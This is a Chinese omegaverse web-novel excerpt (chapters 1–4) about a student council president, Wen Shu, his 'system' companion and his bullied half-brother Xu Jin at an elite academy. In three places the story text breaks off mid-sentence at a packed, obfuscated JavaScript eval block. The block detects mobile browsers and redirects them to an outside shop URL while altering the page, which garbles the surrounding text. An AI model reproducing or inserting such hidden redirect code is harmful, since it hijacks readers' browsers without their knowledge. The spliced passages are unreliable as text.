《顶A也会被阴湿小狗们觊觎吗》 1. 第 1 章 晨光倾泻一地碎金,偶有飞鸟停驻在外延的窗台,优雅梳理着尾羽。 这是普莱克斯学院迎来新学年的第二个月,上课铃前不久才响过,教学楼走廊却传来嘈杂声音: “你谁啊,不是我们学校的吧,来我们班干嘛?滚出去!” “诶,我才听学生会的人说,有个下城区来的特招生,是他吗?” “啊?这都开学多久了,现在才来?” 只见一名少年被大力推搡出教室,踉跄几步,险些撞上走廊摆放的一只名贵花瓶。他身形清瘦,衣着朴素单调,与周遭格格不入。 紧接着,几名身着黑色制服的男学生也跟着出来,彼此相视一眼,同时嬉笑着逼近少年,眼神不怀好意。 与那名少年相比,学生们穿着得体,各个光鲜亮丽,往前凑近,仿佛是一群高贵的黑天鹅围住一只丑小鸭。 有人笑着假意劝说:“要不我们别这样吧,都说是特招生了,等级应该很高吧?” “呵,是吗?有多高,S级?”另一人不屑冷笑,说着,一股雪茄味的alpha信息素很快弥漫开来。 难怪几人有恃无恐——在普莱克斯,等级很大程度决定了地位,他是A+级,离最高的S级就差临门一脚。而S级在整个学院里仅有三位。他几乎可以横着走。 A+级的信息素强大到即使是beta也会受到一定影响,空气中的雪茄信息素充满敌意,更是压迫感十足。那位alpha身边的同伴等级不低,也全都不适蹙眉,面色发白。 而被围在中间的少年似乎也不太好受,脑袋埋得更低,乌发垂落遮去大半张脸,看不清表情,只是身体害怕似的微微发抖。 这副怯懦模样明显取悦了对方,alpha抱臂轻蔑一笑,姿态傲慢又无礼,“喂,怎么不放出信息素啊?难不成是beta?” “走错了吧,贫民。” “快滚回你的下城区。” 普莱克斯的学生里,贵族beta很少,也没什么地位,下城区来的beta更是路边一条。 见少年并未释放信息素抵挡反抗,几人很快认定他是beta,讥笑着又推搡他,欺负得愈发起劲。而班级里的人竟默默旁观,反应平常,显然司空见惯。 忽然,其中一人脸色骤变,一把拉住同伴:“等下,有人过来了。” “啧,干嘛啊?唔……” 被强拉住的人还有些不满,但紧接着他们就嗅到一股比方才那位A+级更骇人数十倍不止的alpha信息素。 即使十分浅淡,且仅是一瞬间,也令他们头晕目眩,身体发热,有些分不清这是排斥反应还是单纯被吸引。 循着信息素望去,只见不远处迎面走来几人,也都穿着黑色的学生制服,却清一色配着金牡丹的臂章。是学生会的人。 为首的那位身材颀长高大,宽肩窄腰,裁剪精良的制服更衬得他身姿挺拔。晨光映照在他的侧脸,更显轮廓深邃如刻,五官英俊逼人,夺目非常。 他望着这处,唇角噙着似有似无的笑,步履从容不迫,气质温文尔雅。走近时仿佛带起一场穿行山野的风,扑面是清新舒适的自然气息,叫人不由自主贪婪嗅闻。 这是学生会主席,温疏。普莱克斯统共就三位S级,他是其中之一。 温疏很快走到近前,扫视一圈,微笑问:“这么热闹啊,在做什么?” “主、主席!”刚刚还盛气凌人的几位睁大眼,惊惧退后几步,面色微白,声音都低下去,“我们没、没做什么……” “没做什么?”温疏轻声重复,语气温和却不怒自威,“那上课时间为什么在走廊?为什么放出这么浓的信息素?你们班的自习就是这样上的?” “呃,不是,因、因为……” 几人鹌鹑似的畏缩低头,双手背在身后互相推来挤去,支吾半天凑不出来一句话。 不等他们编完理由,温疏身侧的一人伸手轻推了下眼镜,语气冷漠道: “你们不知道今天风纪检查吗?藐视课堂纪律,滥用信息素欺负同学。每人期中测验扣二十分。” “诶等等!别扣别扣!不是那样的!!” 普莱克斯教学严格,成绩未达标会有严重后果,还没考就先瘸一条腿了,最后怕是凶多吉少。几人一听急了,连忙摇头摆手否认,猛地把那位alpha推了出来。 “嗯?”温疏抱起双臂,含笑看着。 那位alpha被迫出列,顶着主席的压力,终于急中生智: “我们、我们只是在欢迎新同学,没欺负他!然后,呃,对!我易感期快到了,刚刚情绪有点激动,一时没控制好信息素,绝对不是故意的!” 他说着抬脚踹了一下后面的人,其他人连忙附和,“对对,就是这样!” 接着他还给自己才欺负过的那名少年疯狂使眼色。然而对方一直低着头,根本不看这边。他不由紧张得冒汗。 “新同学?”温疏顺势扫了眼边上的少年,唇边笑意加深,“也是。今天新生报到,你们热情一些也情有可原。” 没想到这样蹩脚的理由都能过关,那人喜出望外,但还没舒口气,又听温疏继续道:“不过,既然你的易感期要到了,那这一周都在宿舍好好休息吧,不用来上课了。” “啊、啊?”没想到被强制停课,他的笑容僵住了,“主、主席,这是开玩笑的吧?” “哦,差点忘了。你等级高,自制力又差,待宿舍不行,得去禁闭室。你一会儿收拾完就过去吧。” “你!——” 温疏无视对方阴沉发白的脸色,看向另几人,轻抬下巴,“其他人有什么问题吗?还是说,想去陪他?” “没没、没有,没问题!”另几人疯狂摇头。 “嗯,行,那就回去吧,好好上课。” 学院里还没有人敢违抗自己,温疏满意地摆手放人,余光瞥见还待在边上的少年,轻轻挑眉,“新同学,我记得,你叫许烬?” 少年不知何时抬头望向这边,见温疏看过去,飞速低头避开视线,手指紧张地攥了下衣摆,轻应声“嗯”。 “之前有事耽搁,没能招待你,抱歉。”见对方似乎还有些害怕,温疏尽量放缓了语气,“这样吧,你先回去上课,自己适应看看,如果有遇到什么问题,随时可以来找我。” “好,谢谢你。” 少年乖乖点头,往教室去,半途忽然回头望向温疏,嘴唇犹豫着张合几下,终于低声开口:“哥哥再见。” “……” 温疏微微眯眼,一瞬后又如常笑着点头“嗯”了一声。 有他坐镇,没人再敢找许烬麻烦。见对方安稳落座,温疏便收回目光。 耳边立时有人冷笑了声,用仅他能听到的音量道:“他才刚来吧,这么快就勾上了?” 还让人叫“哥哥”,有够恶心。 “……”温疏望向身侧,眼神微冷。 说话的男人是站他身侧的副主席,齐云朔。一双精致桃花眼隐在薄透镜片之下,眼尾上挑,缀着一颗殷红泪痣。镜框的银色细链垂在颊边,平添几分清冷斯文。 这是一张他会喜欢的脸,可惜是个alpha。还长了张嘴。 “嗯。”对方显然误会什么,但温疏懒得解释,索性应下来,脸上维持着挑不出错的笑,压低嗓音回话,“齐云朔,能不能少管我?” 不等人反应,他快走几步,背对众人挥了挥手,“我还有事,先走了,剩下的大家辛苦一下,有什么问题就到休息室找我。” “温疏!” 齐云朔咬牙低声喊了句,可惜对方头也不回,不由眉心紧拧。嗅到空气中一缕浅淡的清新香气,神色才微微缓和。 可他很快意识到这是谁的信息素,脸色顿时又变得难看。 与此同时,班级里又骚动起来,好些人眼巴巴望着温疏早就看不见的背影,兴奋激动地窃窃私语: “刚刚那是主席的信息素吧?这就是S级吗,好强大!好好闻!” “对呀真的好——等等,不对!你不也是alpha吗,你也喜欢?” “你不懂,S级的不一样。” “哼,你个alpha就别想了,主席只喜欢omega。” “谁说的!我不信!” “你不知道?当年副主席——” “快别说了,他人还在呢!” “咳咳,说到副主席,平常学生会都是派两个人意思意思看一下的,怎么今天两位主席都来了,难道是为了那个新生吗?” “管它。来得真好!早就看那几个人不顺眼了。” “对呀对呀!主席大人刚刚也太帅了!如果他能跟我说话,就算是像副主席那样骂我,我也愿意啊呜呜呜!” “你小子,连吃带拿是吧?” “所以主席真的只喜欢omega吗,为什么我不是omega!” “但是主席对那个新生很温柔诶,那个新生是beta吧。不过,我没听说主席有什么下城区的弟弟啊,他也不姓温,为什么叫主席‘哥哥’啊?难道他们有什么关系吗?该不会是——” “去你的!不要胡说!!主席大人怎么可能跟那些肮脏的alpha一样乱搞!不可能!!” “喂!我们alpha怎么你了?” “唉,你们都省省吧,别吵了,人主席早有婚约了。” “啊什么我靠!你怎么知道的?是谁啊?” “婚约?怎么之前从来没听说啊?能和温疏这种等级的alpha订下婚约,另一方应该是S级的omega吧?” 一石激起千层浪,之后讨论的声音便太多太杂了,根本听不清。 意识到自己不由自主听了好一会儿,甚至正集中注意力分辨,想知道温疏的婚约对象是谁,齐云朔面色陡沉,大步离开。 …… 学生会的休息室。 温疏正仰靠在沙发椅背上,用手臂遮着脸。本系得端正的领带被自己扯得松散,衣襟凌乱微敞,露出一线白皙胸膛。 他似乎热得难受,呼吸微微粗重,汗水沿脖颈淌下,将雪色衬衣浸得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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但无论是市面上的还是医院特制的抑制剂,对他而言效果都很一般。甚至,父亲有让高匹配度的omega释放信息素安抚他,但也只是更刺激他的情绪,做出一些不好的事。 于是后来又有不少人怕他,不敢接近他,温家也怕他再伤到人,便将他关禁闭。他一直是孤零零的,若不是有个忠心耿耿的仆从一直支持、照顾他,他都不一定能熬过来。 直到成年,温家安排他入学普莱克斯。 这是帝国最顶尖的大学,无论哪个方面,也是为数不多的招生不限性别的学院。而作为创始人之一,温家自然享有一定的话语权。 入学之后,学院专门派人针对他的体质进行研究,开发出了一款仅他适用的抑制剂,效果确实不错。 温疏喜出望外,但还没来得及开始不受易感期折磨的平静安宁的新生活,那个黑球先找上了他。 对方自称“系统”,说他生活在一本小说里,必须掐人设走剧情,成为万人迷主角的入幕之宾,否则会“被世界意志抹杀”。 温疏只觉有趣,点头应了,又问那个万人迷主角是谁。对方却说三年后才会出现,剧情也是随主角出现才开启。 于是他掐着对方给的人设,一装就是三年。 他不仅完全找到了乐趣所在,还成功混上了学生会主席,有权有势,学院里几乎每个人都怕他、敬他、爱他,不敢忤逆他。 真的特别爽。 连身边这个黑球都看顺眼了。 他才是万人迷主角! 前一阵子,温疏回了趟温家老宅。 其实入学普莱克斯以后,他就不怎么回来了,因为这里的回忆都不太美好,而且每次回来都没好事。 这次他也是被父亲叫回去的,说是温疏有个弟弟新学年也要去普莱克斯,让他多关照关照。 温疏点头应好,实际连这个弟弟的面都没见,当天去当天回。而弟弟入学的时候,更是假借有事要忙,故意推了接待,随便找个人替他。 他对父亲没什么好感,对方其实也并不是他真正的“父亲”,他自然就不爱听父亲的话,对那个弟弟更是“厌屋及乌”。 哪想到,那个弟弟,就是系统说的“万人迷主角”,许烬。 还说什么,许烬分化以后信息素碾压所有性别,所有人都会疯狂迷恋追求许烬,包括他,甚至他是最舔的,吹得那叫一个天花乱坠。 这下好了,更讨厌了。 连他看见许烬被欺负,都故意等了好一会儿,直到系统催促才上前帮人解围。 要他做舔狗? 呵。逗狗差不多。 温疏闭着眼,漫无边际地想着事,甚至不知道是不是因为正想到许烬,耳边竟幻听对方叫了一声“哥哥”。 直到休息室房门被轻轻叩响,又一次传来少年清澈的嗓音: “哥哥?哥哥在里面吗?我可以进去吗?” 2. 第 2 章 切实听见声音,温疏眉峰轻挑,还是懒散瘫着。 不想见。装不在算了。 但系统飘过来,用脑袋推他:“去开门呀。” 那点力道就跟挠痒似的,温疏没动弹,只睨它一眼,“你觉得我这样见他,合适吗?” “……”系统迟疑了一下,不由自主望向温疏微敞的胸口,又飞速转开目光,“但是你现在信息素很浓,他知道你在。” 见温疏还是没反应,它又补了句:“以你的人设,你不能拒绝他。” 果然,温疏不屑嗤笑了声,但过会儿还是起身走向门口。 “等等!你先穿件衣服!”系统赶忙伸出两条触手,捧起温疏的外套追上去。 外头的许烬正要试探着再敲一次门,未想,坚实的乌木门板先一步被拉开。 青年抱臂半倚着门框,姿态慵懒优雅,外套随意披在肩上,雪色衬衣解开几颗纽扣,露出锁骨和一小片胸膛。傍晚落日斜照,肌肤染了几分霞色,迷得人移不开眼。 与此同时,一股舒适的自然气息扑面而来,沁人心脾。但清新之余似乎还掺着一点…… 会令人脸红心跳的馥郁芬芳。 对方含笑看他,温声问:“有什么事吗?” 视线相撞,许烬再度飞速低头,小声道歉:“对、对不起,我不知道你在休息,我下次再来。” 他说着转身就要逃跑,却被一只手按住肩膀,温热隔着衣物清晰传来,分明没用什么力,却令他动弹不得、浑身发僵。 “没关系。说吧,什么事。” “好、好的。”许烬只好依言掏出自己的手机,指尖在屏幕上点了几下,又将其调转方向,双手递给温疏,“是这个。” “哦,抱歉,是我忘记给你权限了。” 温疏接过,扫了眼便了然,又拿出自己的手机,指尖轻点,熟稔操作起来。 普莱克斯新生入学都要登录认证校园app,因为它绑定了学院的安保系统,进入学院任何一个场所都要刷脸。除此之外,app还有很多功能,比如选课、活动报名等,齐全又方便,人手必备。 而对方递过来的手机界面,是普莱克斯校园app的登录页,许烬怎么都登录不上。 一般学生会会在新生入学之前,统一注册并开通账号使用权限,但许烬半途入学,要单独另外操作,温疏却将这事儿忘了。 即便如此,他也并不心虚,瞥了眼对方,随口问:“那你怎么进的教学楼和办公楼?” “是请别人帮我的。我问了一个同学,他跟我说,得找学生会帮我开通权限。这里除了哥哥,我谁都不认识……” “嗯,还知道问,挺聪明。”温疏操作着,随意回了句。说着又侧身让出位置,“你先进来坐着等吧,还要一点时间。” 等人进屋,他又去给许烬倒了杯水,而后坐到电脑前继续,“你随意坐,水喝完了可以自己加。想喝别的也行。” “好的,谢谢哥哥,麻烦了。” 许烬跟进去,目光追着对方,好奇瞄了眼屋内布置便又低下头,捧着纸杯安静地坐在边上等,有些局促。 过了会儿,温疏忽然望过来,“你的第二性别是什么,是还没分化?” “是的,还没分化。”许烬点头。 “那你还能闻到信息素?” “对,是能感受到一点。” “呵。”对方低笑了声,“体质挺特殊啊。” 虽是这样说,但许烬听不出对方有任何夸赞的意思,连笑意都很浅,好像是错觉。他不知道该怎么答话,只低低应了声“嗯”。 接着,温疏又问他几个基础问题,他一一作答。之后温疏没再开口,专注做事。 一时间,整间屋子里安静得只剩键盘和鼠标的轻击声,连他自己的呼吸和心跳都明显得不得了。 但他莫名渐渐放松下来,只觉那股好闻的气息愈发浓郁,充斥屋内,将他包裹。 仿佛置身于一片林海上空,满眼翠绿湛蓝,轻云温柔拂过他的发梢和指尖,舒服得整个人要醉过去。 他不由自主盯着温疏的侧脸发怔,脸颊和身体慢慢发热,视野都变得朦胧。 不知不觉间,那张脸转过来,移动着,又一点点放大。 直到一只手在他眼前晃了晃,迷离白光闪动着,耳边响起低沉悦耳的嗓音,“许烬。” 忽然被点名,他一下清醒,猛地低头,只觉脸颊快烧起来,“对、对不起,我走神了……” “没事。我弄好了,给你。”温疏不在意地摆手,将手机递还给他,“我顺便存了一下我的联系方式,有什么不懂的可以直接问我。” “好、好的,谢谢哥哥!”许烬放下纸杯,站起身双手接过,仍不敢抬头看人,耳廓与脖颈红了一片,“那、那就不打扰了,我还有事,先走了!” “嗯。还有,”温疏把人送到门口,“因为我易感期快到了,有点控制不住,你又跟我待太久,所以你现在身上都是我的信息素,抱歉。为避免引起误会,你回去记得好好清洗一下。” 顿了顿,他又细心补充:“可以用除味喷雾,能收拾得比较干净,平时也最好备一点,学院超市有卖。如果不知道怎么走,能用那个app导航,或者干脆在上面买,能直接给你送到宿舍的,你可以看一下。我这边的喷雾刚好用完了,抱歉,或者你能等的话,我现在让人送过来。” “啊不不、不用了,我知道了,谢谢哥哥!那、那我走了,再见——” 许烬睁大眼,疯狂摇头摆手,只觉脸颊烫得头顶要冒出白烟,话都说不利索,一秒钟也待不了了,慌忙道别离开。 转过身没走几步,正见副主席迎面走来,目不斜视。与他擦肩而过时却莫名瞥了他一眼,目光透过一层镜片,愈发冷厉迫人。 与此同时,他似乎闻到一股如薄荷一般,清凉到刺激的味道。 是至少是A+级的alpha信息素,攻击性很强,寒凉彻骨。虽只是短短一瞬间,但还是令他裸露在外的皮肤都微微刺痛,犹如针扎。 许烬顾不上多想,只觉对方的敌意有些莫名其妙,低头匆匆离开。 而另一边,齐云朔径直进入休息室,扑面一股浓郁的信息素,又见温疏瘫在沙发上,发丝凌乱,衣衫不整,不由眉心紧蹙,望过去的目光一瞬间锋锐得好像能在人身上剜出个洞。 他冷笑了声,手臂微抬示意拎着的袋子,“还要什么抑制剂,不是已经找人解决了吗?你——” “没有。”温疏打断他。 “没有?”齐云朔轻轻挑眉,语气更冷,“那小子浑身都是你的信息素,你当我闻不到?臭得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712349|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让人想吐。这么浓,是刚结束吧?” “……”温疏闭上眼睛,疲惫地轻揉一下额角。 但对方还不消停,“实在要弄,不能回自己宿舍吗?非得在这让人知道。连这一点距离都忍不了?真把学院当成自己家了?” 齐云朔说得很不客气。但实际上,这间休息室就是主席的专属。 话音刚落,温疏忽然站起身向他走来,双目紧盯着他,皮鞋踩在地面发出轻响,步履不紧不慢,却像重重叩击在他心上,每一下都令他的心脏颤抖收缩,不由浑身紧绷。 最终,温疏只是停在半臂距离开外,微笑开口:“谢谢我们日理万机的副主席给我送抑制剂。” 还以为温疏要做什么,齐云朔轻舒口气,神经松懈下来,想说自己只是路过科研部,顺手拿来罢了。 未想到,他还没开口,对方猛地逼近,嘴唇覆在他耳边,压低嗓音道: “为什么每次你反应都这么大啊,是嫉妒了?” 猝不及防间,芬芳馥郁的香气涌入鼻腔,冲得人头晕目眩,湿热气流回旋着打在耳廓与脖颈,半边身体都酥麻。 齐云朔僵着身体,呼吸凝滞,胸口跳动一瞬剧烈。 紧接着,他手里装着抑制剂的袋子一下被人夺了过去。 温疏又退开,含笑看他:“没事的话,你可以走了。” “温疏!”齐云朔猛然回神,刚才被戏耍了、期待落空的羞怒和不满一齐涌上来,咬牙切齿叫了声,面色通红,甚至有些语无伦次,“我嫉妒什么?为什么要嫉妒?可笑!” 温疏笑着盯他一会儿,最后只是轻轻耸肩摊手,随意回了一句,“也许是没有omega喜欢你,让你感到寂寞了?” “呵。你当人人都像你一样,来者不拒?”齐云朔冷笑回击,说着不知想到什么,面色愈发难看,“……简直肤浅至极!” “是是是,”温疏懒得再掰扯,点头附和,“哪比得上我们副主席洁身自好,是高岭之花呢。” “……”齐云朔抿着唇,眉头蹙得更深。 他讨厌温疏这种笑,好看得挑不出错,却假得让他心烦。 但温疏仍笑着,伸手点了下房门,“既然副主席这么瞧不上我,那可以走了吗?门记得帮我带上,谢谢。” “不谢!” 齐云朔咬牙,转身就走。即便发怒,良好的教养仍令他好好关门。 厚重的门板隔绝了大部分信息素,晚风也争相带走残余的气息,鼻尖却还萦绕着一丝半缕。 他很快分辨出气息来源,是刚才温疏抢过袋子的时候,手碰到他的指尖,沾了一点。 心头忽然发痒,他不由顿住脚,挣扎许久,终于缓慢抬起手,放到面前轻嗅。 待人离开,系统又重新出现。 温疏注射完抑制剂,顺手将袋子递给它,“帮我放着。” “好。” 系统接过,在柜子里整整齐齐码了一排,又拉开下一个柜子。 却见里面还有好几瓶全新未拆封的除味喷雾。 它不由扭头看了眼温疏。 正见对方托腮望着这边,不知道看它多久,见它扭头,还笑问:“怎么了?” “没有。” 系统应了声,关上柜门。 ……温疏是故意的吗? 3. 第 3 章 天色渐晚,许烬小心避开人群,循着校园app的导航指引,回到了自己的宿舍。 普莱克斯的学生宿舍都是单人间,同年级的学生宿舍通常在同一个片区,距离不远。 但许烬没想到,白日才欺负过他的人,会蹲守在他宿舍门口,甚至不知道用了什么方法,竟比他这个主人还早一步进了他的房间。 “哟,姗姗来迟啊。” 有人眼尖发现他,还笑着调侃一句,紧接着就嗅到他身上浓郁的信息素香味,眉头立时皱起,“你身上,为什么会有主席的信息素?” 此话一出,走廊里少说探头十来个。 “诶,我记得主席大人的易感期就在这几天了吧,我一直拿本子记着呢,”说话的同时是一阵翻页声,“对,没错,最多推迟半个月。” “我靠,记人家易感期,你变态啊!” “所以你是说,主席在临近易感期的时候,找了那个新生吗?” “啊?是我想的那样吗?” “啊!!——我不允许!” “凭什么是那个新生啊??我跟主席的信息素匹配度起码还有六十呢,我也能帮主席度过易感期!” “不对啊,我记得傍晚的时候,大家都去食堂,就那个新生往办公楼的方向去了。主席走的时候不就说了去休息室吗?” “哦?看来是那个新生主动的?” “那肯定是这样了,主席大人怎么可能看得上一个beta啊!” “哇!这个新生真不要脸!” 一时间,走廊充斥着各种鬼哭狼嚎和讨伐谩骂。各种气味的信息素也一同弥漫开来,混杂在一起,再好闻也只是呛鼻。 许烬被混杂的信息素冲得头晕反胃,忍不住干呕。 再抬眼时,只见一人大步冲上前,紧攥拳头猛地挥向自己,凌厉的气劲甚至带起他颊边的碎发。 他本能地偏头躲避,但还是被击中侧脸,身体趔趄退了两步。不等他反应,下一拳接踵而至,狠狠砸向他的腹部! “唔……” 接近顶级的alpha出手毫不客气,威力不言而喻。剧痛几乎令许烬直不起腰,甚至出不了声,只能半跪在地上,紧咬着牙。 对方是白天那个A+级alpha,明明被温疏罚关禁闭,不知道为什么这时候人还在这里。 但他形容狼狈,眉宇间满是狠厉之色,身上信息素暴戾浓烈。更像是已经进去被折磨过,但不知又被谁捞出来,而出来的第一件事便是实施报复。 他居高临下望着许烬,又用力踹了两脚,神色恶劣嚣张,“起来啊贫民,才挨两下就不行了?” 见许烬被踹倒在地上,挣扎着要爬起来,他立刻又补了一脚,甚至狞笑着踩住许烬的手,用鞋跟来回碾动,“哎呀怎么爬不起来啊,这么废物啊?” 身后同伴看不过眼,将他拉住劝道:“好了林向文!他身上有主席的信息素,搞不好主席很看重他啊。” “主席?”林向文冷笑着重复一句,陡然沉下脸,大力将同伴挥开,“他算个狗屁!他——” “闭嘴!” 未想有人将他打断,林向文面色更沉,循着声音低头,才发现是被自己踩在脚底下的许烬说的。 他神色一怔,随即笑得更狰狞张狂,“哟,这就当上主席大人的狗了吗?这么忠心耿耿啊,说一句都不行?” 说着,他足下愈发用力,咬牙切齿,“再叫啊?要不猜猜看,你的主席大人现在会不会来救你?你以为有温疏给你撑腰,我就不敢动你——” 话未说完,他的脚踝猝然传来一阵剧痛,定睛一看,原来是许烬那小子用另一手掐住了他的脚! “操!给老子放开!” 他疼得皱起眉毛、龇牙咧嘴,疯狂甩腿试图挣脱,又不停去踹对方。 却不知那小子瞧着身形纤细瘦弱的,哪里来那么大牛劲。他挣不开不说,还感觉自己的踝骨快要被捏碎了,不由恼羞成怒,破口大骂起来。 但少年愈发收拢五指,白皙手背青筋浮起,牢牢攥着他。双目被过长的刘海遮挡,眸中闪过一缕金红,透过发丝缝隙,比日光更刺眼。 紧接着,少年握着他的脚用力一扯,竟迫使他整个人往前跌去。直到他另一腿的膝盖“咚”地一声,重重磕在坚硬的大理石地板! 这一下痛得几乎令他浑身麻痹,鼻尖和眼角立时涌上酸意。 但这还没完。 下一刻,许烬利落起身,冲着他的下巴猛地提膝一顶! 一瞬间,他几乎听到某种清脆的咔嚓声。他被迫往后仰倒,后脑勺磕到地面,整个人以一种扭曲而滑稽的姿势躺在地上,耳畔嗡鸣阵阵,视野迅速模糊。 整个走廊顿时鸦雀无声。 许烬用手背轻擦去唇边沾染的鲜血,平淡扫了眼几人,低声开口: “请问,现在可以离开我的宿舍了吗?我不想再给哥哥添麻烦。” “啊好、好的!马上走马上走,你好好休息!” 现场实力最强的那位都躺地上了,一时半会儿缓不过来。而且若是许烬真把主席摇过来,大家都得遭殃。 剩下几人再不敢造次,一边赔笑着一边抬起林向文飞快逃了。走廊探出的脑袋也在同一时间缩了回去。 耳边终于清静,许烬将房门锁好,这才能仔细看看自己未来要住四年的地方。 普莱克斯的住宿条件实在没得说,与他曾经住过的相比,简直大得出奇,卧室、餐厅、书房等分区明确但不割裂,各种设施齐全先进,布置简洁而又不失大气。 进门望去便是客厅,超大的落地窗外是一片奇美湖景。卧室推门出去是个阳台,视野宽阔,高大树木从侧边探了一枝进来,平添几分盎然生机,还配有一副精致的藤编桌椅和秋千,在夏日有风的夜晚浅酌几杯,不敢想能有多惬意…… 也看得出早有人收拾过,目之所及干净无尘,他带来的行李以及他需要的课本、电脑、日用品等,全都帮他整理妥当,甚至餐桌还摆有一盘洗净的新鲜水果。 大致浏览一圈,许烬收拾了自己的衣物去浴室洗澡。上衣都脱了,才想起来要买喷雾,又打开手机。 竟发现温疏二十分钟之前刚给他发过消息,问他吃晚饭了没有,喷雾买了吗,今天感觉如何,能不能适应学院环境,还担心他不够钱用,直接往他卡里打了点,少说够他花好几个月。 忽然间,本来没怎么在意的伤在这一刻变得明显,特别特别痛,胸口却涌过一阵暖流。他模糊地想,有个哥哥好像真的挺好的。 他擦净手,一一回复每个问题,当然,适当做了隐瞒。又斟酌着加了句:“都还可以,谢谢哥哥,不用担心我。”还怕自己语气太生硬,挑挑拣拣,配了个可爱的狗狗表情。 对方很快回复:“那就好,你早点休息。”而后竟也配了一个表情,是一只手抚摸小狗,还会动,特别可爱。 许烬不由扬起嘴角,回了个“狗狗点头”的表情,又加了句“哥哥也是,晚安”。 之后温疏没再回复,而他还舍不得关掉聊天界面,忍不住一直来回翻看温疏给他发的消息。不过寥寥几句话,他看了十来遍,仿佛隔着屏幕能听见对方温柔关切的嗓音。 本来他还想和温疏再聊点什么,但看了下时间又不敢再打扰,快速下单了需 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16712350|189286||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要的东西便放下手机专心洗澡。 镜子里水雾弥漫,模糊勾勒出少年的身形,瘦弱单薄,侧脸有一块青紫,全身遍布一个个红色的小点。那些红点痕迹很浅,但数目众多,足够惹眼骇人。 在休息室,温疏曾问他身上有没有什么疾病或是过敏。他本来想答自己对信息素过敏,张嘴又说没有。 他生长的环境太差,周围人总是对他不怀好意,释放的信息素便时常令他难受,不是刺痛发痒便是反胃干呕,还会像现在这样浑身起疹。虽然过后不久便会自愈,但也很烦人。 所以他讨厌所有的alpha和omega。 但未想到,温疏的信息素令他感到前所未有的舒服和安心,甚至令他不自觉地想要信任和依赖温疏。 不过,他下午那样失礼,温疏竟也没生气。 思及此处,许烬不由抬手捂住脸,羞耻得整个人都想埋进浴缸水下。 其实他不是第一次那样盯着温疏。 他在温家老宅便见过温疏了,只是对方根本没注意到他。 那是个阴沉的天。 他站在别墅的窗户边上,远远看见温疏从大门拾阶而上,腰背笔挺,身材颀长,气质高贵优雅,脸上表情却很冷,完全没有回家的放松和愉悦。 但经过庭院的时候,温疏和一位老管家碰上,与之交谈一阵后,又帮着对方浇花、修剪植物枝叶,动作干练熟稔,还和一条狗玩得难舍难分。浑不在意脸上沾了尘土,干净衣物也被蹭得脏污,一直是笑着的。 许是他此前过得太差,又刚被接到温家不足一周,陌生环境令他拘谨又压抑,不由自主向往那种快乐轻松。又或许是后来乌云散去、阳光倾落,在庭院上空架起一道小小彩虹,画面太美好太生动,令他不知不觉看了很久。 直到温疏进屋,被父亲喊去谈话。他忍不住跟去,趴在门缝偷听了一会儿,这才知晓对方的名字和身份。 同时也发现,温疏在面对父亲时,笑得很勉强,又冷又假,与之前对比强烈。 那时他就看出,两人关系不好,而“照顾弟弟”这件事对温疏来说大概只是负担。甚至他猜测,温疏会因为父亲而不待见自己。 只是这样一想,竟莫名令他有些失落。 他尝试着分析了一下原因: 一方面,他认识那位老管家,是他刚到温家的时候,唯一对他表露善意的人,总是细心周到。而温疏看样子与老管家相熟,他便下意识将温疏当成和老管家一样,是很好的人,令他忍不住想亲近。他在这里实在没有能说话的人。 另一方面,他早就听闻贵族学院的环境不太好,而温疏在学院里似乎是很厉害的人,能帮到他。如果可以,他想尽可能让自己好过一点。 总之,他是很想和温疏打好关系的。但果然如他料想,温疏并不喜欢他,也不愿意见他,当天连晚饭都没吃就走了。 再见面就是今天。 其实会被人欺负在他的意料之中,如果温疏实在不待见他也没关系,他本来打算采取的策略也是能忍则忍,尽可能寻求帮助。 但没想到…… 在学院里,父亲看不到管不到,温疏想对他如何都可以。他也能大概分辨出温疏对自己的笑并不太真诚,隐隐嫌弃,所以他有些紧张无措。 但即便如此,温疏还是帮了他,而且对他特别耐心特别温柔。 所以温疏应该就是很好的人! 他就是想亲近温疏! 胡思乱想一通,许烬也洗完澡,在将脏衣物丢进洗衣机时,忍不住顿了下,鬼使神差地放到面前嗅闻。 上面还留有温疏的信息素。 4. 第 4 章 不知是太兴奋还是什么,许烬躺上床以后翻来覆去睡不着,百无聊赖打开手机捣鼓普莱克斯校园app。 它的图标是一枝金色牡丹,是学院的徽记。app首页最上方是轮放的近期学院大事件和重要公告,划下来是课程表和日程提醒,再是各种功能分区展示。 许烬不过随便划了几下屏幕,就看见好几次温疏的照片或是人名,不是什么重要比赛获奖了,就是学生会的工作汇报和通知。 在心里感叹一番哥哥真的好厉害,他又继续往下,在角落发现一个学生论坛,点进去以后是很古早的页面,首页各种字体花里胡哨,刺得眼睛生疼。 随手点进几个帖子,半数与温疏有关,大多是狂热的表白夸夸。甚至可能因为匿名,还有不少充满凝视意味,发言一个比一个逆天痴汉,配图也是一言难尽,令人面红耳赤。 接着他还发现有一个帖子是讨论自己的,有人将今天的事情拍了视频发到论坛上。 